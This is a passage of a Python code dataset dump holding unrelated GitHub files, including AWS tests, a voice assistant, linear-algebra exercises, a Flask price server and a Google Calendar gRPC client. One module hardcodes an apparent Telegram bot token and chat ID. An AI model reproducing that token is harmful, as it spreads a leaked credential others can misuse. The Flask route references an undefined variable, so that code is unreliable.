'ответ1','ответ2','ответ3','ответ4', 'id','тема','решение'])\ndf.to_csv(\"output_metrologiya_otvety.xlsx\", index=False)\ndf.to_csv(\"output_metrologiya_otvety.csv\", index=False) \n#print(all_hrefs)\n#result = pd.DataFrame()\n#print(soup.find_all('a', {'class': 'sub_question'}))\n#with open('test.html', 'w', encoding=\"utf-8\") as output_file:\n# for item in items:\n# output_file.write(soup.prettify())\n\n#with open('test.html', 'w', encoding=\"utf-8\") as output_file:\n# output_file.write(r.text)\n\n","repo_name":"PeyoteWilliams/parsing","sub_path":"first.py","file_name":"first.py","file_ext":"py","file_size_in_byte":3082,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"40003128430","text":"from fastapi import Depends, HTTPException, status\nfrom repositories.user_repository import UserRepository\nfrom repositories.user_image_repository import UserImageRepository\nfrom entities.user_image import UserImage\nfrom dtos.user_image_dto import (\n UserImageBaseDto,\n UserImageDto\n)\nimport base64\nimport numpy as np\n\n\nclass UserImageUsecase:\n def __init__(self,\n user_repo: UserRepository = Depends(),\n user_image_repo: UserImageRepository = Depends()):\n self.user_repo = user_repo\n self.user_image_repo = user_image_repo\n\n async def images(self, user_id: int):\n return [UserImageDto(\n user_id=ui.id,\n image=base64.encode(ui.image)\n ) for ui in await self.user_image_repo.images(user_id)]\n\n async def create(self, user_id: int, user_image_dto: UserImageBaseDto):\n u = await self.user_repo.get(user_id)\n if not u:\n raise HTTPException(\n status_code=status.HTTP_400_BAD_REQUEST)\n image = np.frombuffer(base64.b64decode(user_image_dto.image),\n np.uint8)\n\n await self.user_image_repo.create(\n UserImage(\n user_id=user_id,\n image=image.tobytes() # marshal.dumps()\n ))\n\n async def delete(self, user_image_id):\n return await self.user_image_repo.delete(user_image_id)\n","repo_name":"ghtak/fastapi-base","sub_path":"usecases/user_image_usecase.py","file_name":"user_image_usecase.py","file_ext":"py","file_size_in_byte":1406,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"24514632985","text":"import unittest\nfrom dynamo_db import DynamoDbManager\nfrom s3_manager import s3Manager\nimport pprint\n\n\nclass UnitTest(unittest.TestCase):\n\n def setUp(self):\n self.db_client = DynamoDbManager()\n self.s3_client = s3Manager()\n\n self.valid_email = 'vinh'\n self.valid_pw = '123'\n\n self.invalid_email = 'noone@student.rmit.edu.au'\n self.invalid_pw = 'abc123'\n\n def test_checkBucketExist_bucketNotExists(self):\n bucket = \"non_existing_bucket\"\n self.assertFalse(self.s3_client.check_bucket_exists(bucket))\n\n def test_checkBucketExist_bucketExists(self):\n bucket = \"s3500659-artist-images\"\n self.assertTrue(self.s3_client.check_bucket_exists(bucket))\n\n def test_create_subscriptions(self):\n user = self.db_client.get_user('vinh')\n songs = self.db_client.query_music_item(\n artist=\"The Lumineers\", title=\"\", year=\"\")\n\n self.assertTrue(songs)\n\n for song in songs:\n self.db_client.subscribe_music(user, song)\n\n song_1 = self.db_client.query_music_item(\n artist=\"Arcade Fire\", title=\"Half Light I\", year=\"2010\")\n\n self.db_client.subscribe_music(user, song_1[0])\n\n def test_subscribe_music(self):\n user = self.db_client.get_user(self.valid_email)\n\n # add song 1\n song_1 = self.db_client.query_music_item(\n artist=\"Arcade Fire\", title=\"Half Light I\", year=\"2010\")\n\n self.db_client.subscribe_music(user, song_1[0])\n\n self.assertTrue(self.db_client.get_subscription(\n user['email'], song_1[0]))\n # add song 2\n song_2 = self.db_client.query_music_item(\n artist=\"\", title=\"Lean On Me\", year=\"\")\n\n self.db_client.subscribe_music(user, song_2[0])\n self.assertTrue(self.db_client.get_subscription(\n user['email'], song_2[0]))\n\n # check both song exist\n self.assertTrue(self.db_client.get_subscriptions(user['email']))\n\n # delete songs\n self.db_client.delete_subscription(user['email'], song_1[0]['title'])\n self.db_client.delete_subscription(user['email'], song_2[0]['title'])\n\n self.assertFalse(\n self.db_client.get_subscription(user['email'], song_1[0]))\n self.assertFalse(\n self.db_client.get_subscription(user['email'], song_2[0]))\n\n # invalid email\n self.assertFalse(\n self.db_client.get_subscriptions(self.invalid_email))\n\n def test_get_music_item(self):\n # full query\n self.assertTrue(self.db_client.query_music_item(\n artist=\"Arcade Fire\", title=\"Half Light I\", year=\"2010\"))\n # one item missing\n self.assertTrue(self.db_client.query_music_item(\n artist=\"\", title=\"Half Light I\", year=\"2010\"))\n\n self.assertTrue(self.db_client.query_music_item(\n artist=\"Arcade Fire\", title=\"\", year=\"2010\"))\n\n self.assertTrue(self.db_client.query_music_item(\n artist=\"Arcade Fire\", title=\"Half Light I\", year=\"\"))\n\n # two item missing\n self.assertTrue(self.db_client.query_music_item(\n artist=\"\", title=\"\", year=\"2010\"))\n\n self.assertTrue(self.db_client.query_music_item(\n artist=\"Arcade Fire\", title=\"\", year=\"\"))\n\n self.assertTrue(self.db_client.query_music_item(\n artist=\"\", title=\"Half Light I\", year=\"\"))\n\n # all items missing\n self.assertFalse(self.db_client.query_music_item(\n artist=\"\", title=\"\", year=\"\"))\n\n # mismatch query\n self.assertFalse(self.db_client.query_music_item(\n artist=\"Arcade Fire\", title=\"Lean On Me\", year=\"1970\"))\n\n def test_get_user(self):\n self.assertIsNotNone(self.db_client.get_user(self.valid_email))\n self.assertIsNone(self.db_client.get_user(self.invalid_email))\n\n def test_create_user(self):\n email = 'test@student.rmit.edu.au'\n user_name = 'test_user'\n pw = '123'\n self.db_client.create_user(email, user_name, pw)\n self.assertIsNotNone(self.db_client.get_user(email))\n self.db_client.delete_user(email)\n self.assertIsNone(self.db_client.get_user(email))\n\n\nif __name__ == '__main__':\n unittest.main()\n","repo_name":"s3500659/cloud-computing-a2-aws","sub_path":"test_unit_test.py","file_name":"test_unit_test.py","file_ext":"py","file_size_in_byte":4242,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"20221987391","text":"import speech_recognition as sr\nimport os\nimport sys\nimport librosa\nfrom .. import config\nfrom .. import cut_audio\nfrom .. import change_type\n\noutput_path = config.Rshiny_path + \"/Rshiny\"\n\ndef API_document(input_audio, language=\"EN\", output_adress=output_path):\n # creat fold \"output\"\n output_adress = output_adress + \"/output\"\n if os.path.exists(output_adress) is False:\n os.mkdir(output_adress)\n\n # change mp3 to wav in fast way\n wav_file = change_type.fast.wav(input_audio)\n\n # initialize the recognizer\n r = sr.Recognizer()\n\n # don't need to cut_audio if<= 1 min\n if librosa.get_duration(filename=wav_file) <= 120:\n # recognition\n\n with sr.AudioFile(wav_file) as source:\n # listen for the data (load cut_audio to memory)\n audio_data = r.record(source)\n # recognize (convert from speech to text)\n if language == \"EN\":\n audio_text = r.recognize_google(audio_data, language=\"en-US\")\n elif language == \"FR\":\n audio_text = r.recognize_google(audio_data, language=\"fr-FR\")\n elif language == \"CN\":\n audio_text = r.recognize_google(audio_data, language=\"zh-CN\")\n else:\n raise Exception(\"please input language correctly\")\n # chunk_audio_text_punctuation = punctuation(chunk_audio_text)\n # chunk_audio_text_final = chunk_audio_text.capitalize()\n text = audio_text.lower()\n else:\n cut_audio.cut.CUT(wav_file, output_adress, length_limit=120 * 1000)\n # recognition\n text = ''\n for root, dirs, files in os.walk(output_adress + \"/chunks\"):\n for file in files:\n if file.split('.')[-1] == 'wav':\n sub_adress = output_adress + \"/chunks/\" + file\n with sr.AudioFile(sub_adress) as source:\n # listen for the data (load cut_audio to memory)\n audio_data = r.record(source)\n # recognize (convert from speech to text)\n if language == \"EN\":\n chunk_audio_text = r.recognize_google(audio_data, language=\"en-US\")\n elif language == \"FR\":\n chunk_audio_text = r.recognize_google(audio_data, language=\"fr-FR\")\n elif language == \"CN\":\n chunk_audio_text = r.recognize_google(audio_data, language=\"zh-CN\")\n else:\n raise Exception(\"please input language correctly\")\n print(\"did one part\")\n # chunk_audio_text_punctuation = punctuation(chunk_audio_text)\n # chunk_audio_text_final = chunk_audio_text.capitalize()\n text = '{}{}'.format(text, chunk_audio_text)\n text = text.lower()\n print(output_adress)\n\n # Save output in file\n with open(os.path.join(output_adress + \"/output_history.txt\"), 'a+', encoding=\"utf-8\") as file:\n file.writelines([text + \"\\n\"])\n\n with open(os.path.join(output_adress + \"/output.txt\"), 'w', encoding=\"utf-8\") as file:\n file.writelines([text + \"\\n\"])\n return print(text)\n\n\n","repo_name":"datastorm-open/demo_speech2text","sub_path":"backend/src/speech2text/api/api_doc.py","file_name":"api_doc.py","file_ext":"py","file_size_in_byte":3190,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"25233255640","text":"from collections import Counter\nfrom itertools import product\nfrom utils import answer1, answer2, get_input\n\nANSWER1 = None\nANSWER2 = None\n\nlines = get_input(\"day_14_input\")\n\nmemory = {}\nfor line in lines:\n if \"mask\" in line:\n mask_string = line.split(\" = \")[1]\n\n and_mask = int(mask_string.replace(\"X\", \"1\"), 2)\n or_mask = int(mask_string.replace(\"X\", \"0\"), 2)\n else:\n mem_part, value = line.split(\" = \")\n value = int(value)\n mem_address = int(mem_part[4:-1])\n\n memory[mem_address] = (value | or_mask) & and_mask\n\nANSWER1 = answer1(sum(memory.values()))\n\nmemory = {}\nfor line in lines:\n if \"mask\" in line:\n mask_string = line.split(\" = \")[1]\n\n x_bits = [index for index, bit in enumerate(mask_string) if bit == \"X\"]\n num_x = Counter(mask_string)[\"X\"]\n or_mask = int(mask_string.replace(\"X\", \"0\"), 2)\n else:\n mem_part, value = line.split(\" = \")\n value = int(value)\n mem_address = int(mem_part[4:-1])\n masked_mem_address = format(mem_address | or_mask, \"036b\")\n\n for bits in product(\"10\", repeat=num_x):\n new_address = masked_mem_address\n for index, bit in zip(x_bits, bits):\n new_address = new_address[:index] + bit + new_address[index + 1 :]\n\n memory[int(new_address, 2)] = value\n\nANSWER2 = answer2(sum(memory.values()))\n","repo_name":"scottbelden/advent_of_code_2020","sub_path":"day_14.py","file_name":"day_14.py","file_ext":"py","file_size_in_byte":1394,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"15468319005","text":"# -*- coding: utf-8 -*-\n\"\"\"\nChapter 2 - The Vector \nProgramming problems\nCoding the Matrix\n\"\"\"\n\nfrom plotting import plot\n\nL = [[2, 2], [3, 2], [1.75, 1], [2, 1], [2.25, 1], [2.5, 1], [2.75, 1], [3, 1], [3.25, 1]]\n\nplot(L)\n\ndef add2(v, w):\n return [v[0]+w[0], v[1]+w[1]]\n\nw = [1, 2]\n\nplot([add2(_, w) for _ in L], 5)\n\n# quiz 2.5.3\ndef scalar_vector_mult(alpha, v):\n return [alpha*v[i] for i in range(len(v))]\n\n# task 2.5.4\nalpha = -0.5\nplot([[_[0]*alpha, _[1]*alpha] for _ in L])\n\nplot([add2(scalar_vector_mult(i/100., [3, 2]), [0.5, 1]) for i in range(101)], 4)\n\n# 2.6.9\ndef segment(pt1, pt2):\n return [add2(scalar_vector_mult(i/100., pt1),\n scalar_vector_mult(1-i/100., pt2)) for i in range(101)]\n \nplot(segment([3.5, 3], [0.5, 1.0]))\n\nclass Vec:\n def __init__(self, labels, function):\n self.D = labels\n self.f = function\n\nv0 = Vec({'A', 'B', 'C'}, {'A': 1}) \n \n# quiz 2.7.1\ndef zero_vec(D):\n f = {_: 0 for _ in D}\n return Vec(D, f)\n\nv1 = zero_vec({'a', 'b', 'c'})\n\ndef setitem(v, d, val):\n v.f[d] = val\n\nsetitem(v0, 'B', 2)\n\ndef getitem(v, d):\n if d in v.f:\n return v.f[d]\n else:\n return 0\n \ndef scalar_mult(v, alpha):\n return Vec(v.D, {a: alpha*b for a, b in v.f.items()})\n\nscalar_mult(v0, 2).f\n\ndef add(u, v):\n return Vec(u.D | v.D, {d: getitem(u, d) + getitem(v, d) for d in u.D | v.D})\n\nv = Vec({'A', 'B', 'C'}, {'A': 1, 'B': 2})\nu = Vec(v.D, {'A': 5, 'C': 10})\n\nadd(u, v).f\n\n# quiz 2.7.5\ndef neg(v):\n return Vec(v.D, {d: getitem(v, d) * -1 for d in v.D})\n\n\n# quiz 2.9.4\ndef list_dot(u, v):\n return sum([a*b for a, b in zip(u, v)])\n\n# example 2.9.7\nD = {'memory', 'radio', 'sensor', 'cpu'}\nrate = Vec(D, {'memory': 0.06, 'radio': 0.1, 'sensor': 0.004, 'cpu': 0.0025})\nduration = Vec(D, {'memory': 1.0, 'radio': 0.2, 'sensor': 0.5, 'cpu': 1.0})\nlist_dot(rate.f.values(), duration.f.values())\n\n# quiz 2.9.13\nhaystack = [1, -1, 1, 1, 1, -1, 1, 1, 1]\nneedle = [1., -1., 1, 1., -1., 1.]\n\ndef dot_product_list(needle, haystack):\n result = []\n for i in range(len(haystack)-len(needle)+1):\n result.append(list_dot(haystack[i:i+len(needle)], needle))\n return result\n \ndot_product_list(needle, haystack)\n\n# quiz 2.10.1\nfrom vec import Vec\n\n#def list2vec(L):\n# return Vec(set(range(len(L))), {i: L[i] for i in range(len(L))})\n\n# 2.11.4\nfrom vecutil import list2vec, zero_vec\ndef triangular_solve_n(rowlist, b):\n D = rowlist[0].D\n n = len(D)\n assert D == set(range(n))\n x = zero_vec(D)\n for i in reversed(range(n)):\n x[i] = (b[i] - rowlist[i] * x)/rowlist[i][i]\n return x\n \nD = {'a', 'b', 'c'}\nrowlist = [Vec(D, {'a': 2, 'b': 3, 'c': -4}),\n Vec(D, {'b': 1, 'c': 2}),\n Vec(D, {'c': 5})]\nb = Vec(D, {'a': 10, 'b': 3, 'c': 15})\ntriangular_solve_n(rowlist, b)\n\n# 2.12 lab\nwith open('voting_record_dump109.txt') as f:\n mylist = list(f)\n\n# 2.12.1\ndef create_voting_dict(strlist):\n x = [_.split() for _ in strlist]\n return {_[0]: [int(a) for a in _[3:]] for _ in x}\n\nvoting_dict = create_voting_dict(mylist)\n\n# 2.12.2\ndef policy_compare(sen_a, sen_b, voting_dict):\n a = voting_dict[sen_a]\n b = voting_dict[sen_b]\n return sum([a[i]*b[i] for i in range(len(a))])\n \npolicy_compare('Reid', 'Obama', voting_dict)\n\n# 2.12.3\ndef most_similar(sen, voting_dict):\n max_sim = None\n max_sen = None\n for s in voting_dict:\n if s == sen:\n continue\n sim = policy_compare(sen, s, voting_dict)\n if not max_sim:\n max_sim = sim\n max_sen = [s]\n if sim > max_sim:\n max_sim = sim\n max_sen = [s]\n if sim == max_sim and s not in max_sen:\n max_sen.append(s)\n return (max_sen, max_sim)\n\nmost_similar('Chafee', voting_dict)\n\n# 2.12.4\ndef least_similar(sen, voting_dict):\n min_sim = None\n min_sen = None\n for s in voting_dict:\n if s == sen:\n continue\n sim = policy_compare(sen, s, voting_dict)\n if not min_sim:\n min_sim = sim\n min_sen = [s]\n if sim < min_sim:\n min_sim = sim\n min_sen = [s]\n if sim == min_sim and s not in min_sen:\n min_sen.append(s)\n return (min_sen, min_sim)\n\nleast_similar('Santorum', voting_dict)\n\n# 2.12.6\npolicy_compare('Wyden', 'Smith', voting_dict)\n\n# 2.12.7\ndef find_average_similarity(sen, sen_set, voting_dict):\n rslt = []\n for s in sen_set:\n rslt.append(policy_compare(sen, s, voting_dict))\n return sum(rslt)/len(rslt)\n\nmylist2 = [_.split() for _ in mylist]\ndems = [_[0] for _ in mylist2 if _[1]=='D']\nrepubs = [_[0] for _ in mylist2 if _[1]=='R']\n\nfind_average_similarity('Wyden', dems, voting_dict)\n\nfor sen in voting_dict:\n max_sim = None\n max_sen = None\n sim = find_average_similarity(sen, dems, voting_dict)\n if not max_sim:\n max_sim = sim\n max_sen = sen\n if sim > max_sim:\n max_sim = sim\n max_sen = sen\nprint(max_sen, max_sim)\n\n# 2.12.8\ndef find_average_record(sen_set, voting_dict):\n sum_votes = None\n for sen in sen_set:\n if not sum_votes:\n sum_votes = voting_dict[sen]\n votes = voting_dict[sen]\n sum_votes = [sum_votes[i] + votes[i] for i in range(len(votes))]\n return [_ / len(votes) for _ in sum_votes]\n\navg_dem_rec = find_average_record(dems, voting_dict)\n\ndef policy_compare(sen_a, sen_b, voting_dict):\n a = voting_dict[sen_a]\n b = voting_dict[sen_b]\n return sum([a[i]*b[i] for i in range(len(a))])\n\nfor sen in voting_dict:\n max_sim = None\n max_sen = None\n sim = sum([voting_dict[sen][i]*avg_dem_rec[i] for i in range(len(avg_dem_rec))])\n if not max_sim:\n max_sim = sim\n max_sen = sen\n if sim > max_sim:\n max_sim = sim\n max_sen = sen\nprint(max_sen, max_sim)\n \n# 2.12.6\nmin_sim = None\nmin_sens = None\nfor sen1 in voting_dict:\n for sen2 in voting_dict:\n if sen1 != sen2:\n sim = policy_compare(sen1, sen2, voting_dict)\n if not min_sim or sim < min_sim:\n min_sim = sim\n min_sens = (sen1, sen2)\nprint(min_sens, min_sim)","repo_name":"gwilson253/coding_the_matrix","sub_path":"ch_02_problems.py","file_name":"ch_02_problems.py","file_ext":"py","file_size_in_byte":6143,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"39989718784","text":"'''\n ███╗ ███╗ █████╗ ██╗ ███╗ ██╗ \n ████╗ ████║ ██╔══██╗ ██║ ████╗ ██║ \n ██╔████╔██║ ███████║ ██║ ██╔██╗ ██║ \n ██║╚██╔╝██║ ██╔══██║ ██║ ██║╚██╗██║ \n ██║ ╚═╝ ██║ ██║ ██║ ██║ ██║ ╚████║ \n ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═══╝ \n \n █████╗ ██╗ \n ██╔══██╗ ██║ \n ███████║ ██║ \n ██╔══██║ ██║ \n ██║ ██║ ██║ \n ╚═╝ ╚═╝ ╚═╝ \n'''\n\n #-----L I B R A R I E S-----\nfrom DATA import *\n#-----L O C A L-----\nimport ___DataBase___ \nimport telebot\nfrom External_Code import anti_offence\nfrom External_Code import Recommend\n # _ - _ - _ - _ - _ - _ - _ - _ - _ -\n\n\ndef Ai(text):\n reload(___DataBase___) \n \n print (\"Text : \",text)\n \n Answer=Data().Analyse_Function(text,DATA_intents(text))\n if not(not Answer and text!=\"\"): return Answer \n \n Answer=Data().ExtraAi(text)\n if (Answer!=False and text!=\"\"): return Answer\n \n Answer=Data().Analyse_Closest(text,___DataBase___.DataBase)\n if (Data().WHQ(text) and text!=\"\" and Answer): return Answer\n else : Data().AddToDataBase(text)\n\n Answer=(anti_offence.anti_offence(text))\n if (Answer!=False and text!=\"\"): return Answer\n\n if text!=\"\": Data().AddToDataBase(text)\n \n Message=Audio().IDK_Text_Return()+'|||'+Recommend.Rec(); return Message\n #return (Message,Audio().ApiLink(Message))\n\ndef Response_Voice(Text):\n return Audio().ApiLink(Text) \n \ndef SendTelMes(Text):\n bot_token = '1367451572:AAHxjR9P7imVqNnQ_l0ea661Zl6LLDUF2Ps'\n bot_chatID = '-445001984'\n send_text = 'https://api.telegram.org/bot' + bot_token + '/sendMessage?chat_id=' + bot_chatID + '&parse_mode=Markdown&text=' + Text\n response = requests.get(send_text)\n print (response)\n\n\n","repo_name":"Revisto/Ai","sub_path":"MainAiFunction.py","file_name":"MainAiFunction.py","file_ext":"py","file_size_in_byte":2123,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"15610463839","text":"#Project Sangee\r\n\r\n#pip install pyaudio, SpeechRecognition,gTTS, wikipedia\r\n\r\n#Import\r\nimport speech_recognition as sr\r\nimport os\r\nfrom gtts import gTTS\r\nimport datetime\r\nimport warnings\r\nimport calendar\r\nimport random\r\nimport wikipedia\r\n\r\n# Ignore any warning messages\r\nwarnings.filterwarnings('ignore')\r\n\r\n# record audio and return it as a string\r\ndef recordAudio():\r\n\r\n #Record the audio\r\n r = sr.Recognizer() #Creating a recognizer object\r\n\r\n\r\n with sr.Microphone() as source:\r\n print('Say something!')\r\n r.pause_threshold = 1\r\n r.adjust_for_ambient_noise(source, duration = 1)\r\n audio = r.listen(source)\r\n\r\n# #Use Google's speech recognition\r\n data = ''\r\n try:\r\n data = r.recognize_google(audio, language = \"en-IN\")\r\n print('You said: '+ data + '/n')\r\n except sr.UnknownValueError: #Check for unknown errors\r\n print('Google Speech Recognition could not understand the audio, unknown error')\r\n except sr.RequestError as e:\r\n print('Request results from Google Speech Recognition service error '+e)\r\n\r\n return data\r\n# A Function to get the VA response\r\ndef assistantResponse(text):\r\n\r\n print(text)\r\n # convert text to speech\r\n myobj = gTTS(text= text, lang='en', slow=False)\r\n\r\n #save as audio\r\n myobj.save('assistant_response.mp3')\r\n\r\n #play\r\n os.system('start assistant_response.mp3')\r\n\r\n# Wake word\r\ndef wakeWord(text):\r\n WAKE_WORDS = ['sangee', 'sangi']\r\n\r\n text = text.lower() #convert text to lower\r\n\r\n #check to see if the users wakeword\r\n\r\n for phrase in WAKE_WORDS:\r\n if phrase in text:\r\n return True\r\n\r\n return False\r\n\r\n#to get date\r\ndef getDate():\r\n\r\n now = datetime.datetime.now()\r\n my_date = datetime.datetime.today()\r\n weekday = calendar.day_name[my_date.weekday()]\r\n monthNum = now.month\r\n dayNum = now.day\r\n\r\n # Months list\r\n month_names = ['January','February', 'March', 'April', 'May', 'June', 'July',\r\n 'August','September', 'October', 'November', 'December']\r\n\r\n #Numbers list\r\n ordinalNumbers = ['1st', '2nd', '3rd', '4th', '5th', '6th', '7th', '8th', '9th', '10th', '11th',\r\n '12th', '13th', '14th', '15th', '16th', '17th', '18th', '19th', '20th', '21st', '22nd', '23rd',\r\n '24th', '25th', '26th', '27th', '28th', '29th', '30th', '31st']\r\n\r\n return 'Today is '+weekday+' '+ month_names[monthNum - 1]+' the '+ordinalNumbers[dayNum -1]+'.'\r\n\r\n\r\nprint(getDate())\r\n\r\n#A function to greet random response\r\ndef greeting(text):\r\n\r\n #greeting inputs\r\n GREETING_INPUTS = ['hi', 'hey', 'hola', 'greetings', 'wassup', 'hello ']\r\n\r\n #Greet Responses\r\n GREETING_RESPONSES = ['howdy', 'whats good', 'hello', 'hey there']\r\n for word in text.split():\r\n if word.lower() in GREETING_INPUTS:\r\n return random.choice(GREETING_RESPONSES) + '.'\r\n\r\n return ''\r\n\r\n# First and last name split\r\ndef getPerson(text):\r\n\r\n wordList = text.split()\r\n for i in range(0, len(wordList)):\r\n if i + 3 <= len(wordList) - 1 and wordList[i].lower() == 'who' and wordList[i+1].lower() == 'is':\r\n return wordList[i+2] + ' '+ wordList[i+3]\r\n\r\n\r\nwhile True:\r\n #record Audio\r\n text = recordAudio()\r\n response = ''\r\n\r\n #Wake word check\r\n if(wakeWord(text) == True):\r\n\r\n #check greetigs\r\n response = response + greeting(text)\r\n\r\n #Check date\r\n if('date' in text):\r\n get_date = getDate()\r\n response = response + ' ' +get_date\r\n\r\n #check time\r\n if('time' in text):\r\n now = datetime.datetime.now()\r\n meridiem =' '\r\n if now.hour >=12:\r\n meridiem = 'p.m'\r\n hour = now.hour - 12\r\n else:\r\n meridiem = 'a.m'\r\n hour = now.hour\r\n\r\n #convert minute\r\n if now.minute < 10:\r\n minute= '0' + str(now.minute)\r\n else:\r\n minute = str(now.minute)\r\n\r\n response = response + ' '+ 'It is '+ str(hour)+ ':'+ minute+ ' '+meridiem + ' .'\r\n\r\n #Check 'who is'\r\n if('who is' in text):\r\n\r\n person = getPerson(text)\r\n wiki = wikipedia.summary(person)\r\n response = response + ' '+ wiki\r\n\r\n #Have the assistant respond back using audio and text from response\r\n assistantResponse(response)\r\n","repo_name":"Stanley-cloud/sangee","sub_path":"Virtual_Asst.py","file_name":"Virtual_Asst.py","file_ext":"py","file_size_in_byte":4410,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"34590385672","text":"from flask import Flask, request, jsonify\r\nimport util\r\n\r\n#Creéation de l'application\r\napp = Flask(__name__)\r\n\r\n# Récupération des zones dans notre modèle de prédiction\r\n@app.route('/get_area_names')\r\ndef get_area_names():\r\n response = jsonify({\r\n 'Area': util.get_area_names()\r\n })\r\n response.headers.add('Access-Control-Allow-Origin', '*')\r\n\r\n return response\r\n\r\n#Application pour la prédiction des prix des propriétés dans Londres\r\n@app.route('/predict_home_price', methods=['POST'])\r\ndef predict_home_price():\r\n area = request.form['Area']\r\n housetype = request.form['House Type']\r\n sqft = float(request.form['square ft'])\r\n bed = int(request.form['No. of bedrooms'])\r\n bath = int(request.form['No. of bathrooms'])\r\n recpt = int(request.form['No. of receptions'])\r\n\r\n response = jsonify({\r\n 'estimated_price': util.get_estimated_price(Area,housetype,sqft,bed,bath,recpt)\r\n })\r\n response.headers.add('Access-Control-Allow-Origin', '*')\r\n\r\n return response\r\n\r\n# Exécution de l'application\r\nif __name__ == \"__main__\":\r\n print(\"Starting Python Flask Server For Home Price Prediction\")\r\n util.load_saved_artifacts()\r\n app.run()","repo_name":"fatima886/Projet-De-Data-Science","sub_path":"Projet_1/Server/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":1200,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"35485991663","text":"from google.protobuf.wrappers_pb2 import Int32Value, StringValue\nimport grpc\n\nfrom calendar_pb2 import GoogleCalendar, GoogleCalendarEvent\nfrom calendar_pb2_grpc import GoogleCalendarServiceStub\n\nfrom datetime import datetime\n\nfrom examples.utils import grpc_call, datetime_to_protobuf\n\n\n# ========== CRUD Operations for Google Calendar ==========\n\n@grpc_call\ndef list_calendars(stub: GoogleCalendarServiceStub, user_id: str, limit: int = 100):\n query = GoogleCalendar.Query.List(\n user_id=user_id,\n limit=Int32Value(value=limit)\n )\n result = stub.ListGoogleCalendar(query)\n\n return list(result) # Here, ListGoogleCalendar returns generator, not List; so, force to change into List.\n\n\n@grpc_call\ndef get_calendar(stub: GoogleCalendarServiceStub, user_id: str, calendar_id: str):\n query = GoogleCalendar.Query.Get(\n user_id=user_id,\n calendar_id=calendar_id\n )\n result = stub.GetGoogleCalendar(query)\n\n return result\n\n\n@grpc_call\ndef create_calendar(stub: GoogleCalendarServiceStub, user_id: str, summary: str, **kwargs):\n query = GoogleCalendar.Query.Create(\n user_id=user_id,\n calendar=GoogleCalendar(\n summary=StringValue(value=summary),\n description=StringValue(value=kwargs.get('description')) if kwargs.get('description') else None,\n location=StringValue(value=kwargs.get('location')) if kwargs.get('location') else None,\n timezone=StringValue(value=kwargs.get('timezone')) if kwargs.get('timezone') else None\n )\n )\n result = stub.CreateGoogleCalendar(query)\n\n return result\n\n\n@grpc_call\ndef update_calendar(stub: GoogleCalendarServiceStub, user_id: str, calendar_id: str, **kwargs):\n query = GoogleCalendar.Query.Update(\n user_id=user_id,\n calendar_id=calendar_id,\n calendar=GoogleCalendar(\n summary=StringValue(value=kwargs.get('summary')) if kwargs.get('summary') else None,\n description=StringValue(value=kwargs.get('description')) if kwargs.get('description') else None,\n location=StringValue(value=kwargs.get('location')) if kwargs.get('location') else None,\n timezone=StringValue(value=kwargs.get('timezone')) if kwargs.get('timezone') else None\n )\n )\n result = stub.UpdateGoogleCalendar(query)\n\n return result\n\n\n@grpc_call\ndef delete_calendar(stub: GoogleCalendarServiceStub, user_id: str, calendar_id: str):\n query = GoogleCalendar.Query.Delete(\n user_id=user_id,\n calendar_id=calendar_id\n )\n result = stub.DeleteGoogleCalendar(query)\n\n return result\n\n\n# ============================================================\n\n\n# ======== CRUD Operations for Google Calendar Events ========\n\n@grpc_call\ndef list_events(stub: GoogleCalendarServiceStub, user_id: str, calendar_id: str, limit: int = 100,\n start_time: datetime = None, end_time: datetime = None):\n query = GoogleCalendarEvent.Query.List(\n user_id=user_id,\n calendar_id=calendar_id,\n limit=Int32Value(value=limit),\n start_time=datetime_to_protobuf(start_time) if start_time else None,\n end_time=datetime_to_protobuf(end_time) if end_time else None\n )\n result = stub.ListGoogleCalendarEvent(query)\n\n return list(result)\n\n\n@grpc_call\ndef get_event(stub: GoogleCalendarServiceStub, user_id: str, calendar_id: str, event_id: str):\n query = GoogleCalendarEvent.Query.Get(\n user_id=user_id,\n calendar_id=calendar_id,\n event_id=event_id\n )\n result = stub.GetGoogleCalendarEvent(query)\n return result\n\n\n@grpc_call\ndef create_event(stub: GoogleCalendarServiceStub, user_id: str, calendar_id: str, summary: str, start: datetime, end: datetime, **kwargs):\n query = GoogleCalendarEvent.Query.Create(\n user_id=user_id,\n calendar_id=calendar_id,\n event=GoogleCalendarEvent(\n summary=StringValue(value=summary),\n start=datetime_to_protobuf(start),\n end=datetime_to_protobuf(end),\n description=StringValue(value=kwargs.get('description')) if kwargs.get('description') else None,\n location=StringValue(value=kwargs.get('location')) if kwargs.get('location') else None\n )\n )\n result = stub.CreateGoogleCalendarEvent(query)\n return result\n\n\n@grpc_call\ndef update_event(stub: GoogleCalendarServiceStub, user_id: str, calendar_id: str, event_id: str, **kwargs):\n query = GoogleCalendarEvent.Query.Update(\n user_id=user_id,\n calendar_id=calendar_id,\n event_id=event_id,\n event=GoogleCalendarEvent(\n summary=StringValue(value=kwargs.get('summary')) if kwargs.get('summary') else None,\n start=datetime_to_protobuf(kwargs.get('start')) if kwargs.get('start') and type(kwargs.get('start')) is datetime else None,\n end=datetime_to_protobuf(kwargs.get('end')) if kwargs.get('end') and type(\n kwargs.get('end')) is datetime else None,\n description=StringValue(value=kwargs.get('description')) if kwargs.get('description') else None,\n location=StringValue(value=kwargs.get('location')) if kwargs.get('location') else None\n )\n )\n result = stub.UpdateGoogleCalendarEvent(query)\n return result\n\n\n@grpc_call\ndef delete_event(stub: GoogleCalendarServiceStub, user_id: str, calendar_id: str, event_id: str):\n query = GoogleCalendarEvent.Query.Delete(\n user_id=user_id,\n calendar_id=calendar_id,\n event_id=event_id\n )\n result = stub.DeleteGoogleCalendarEvent(query)\n 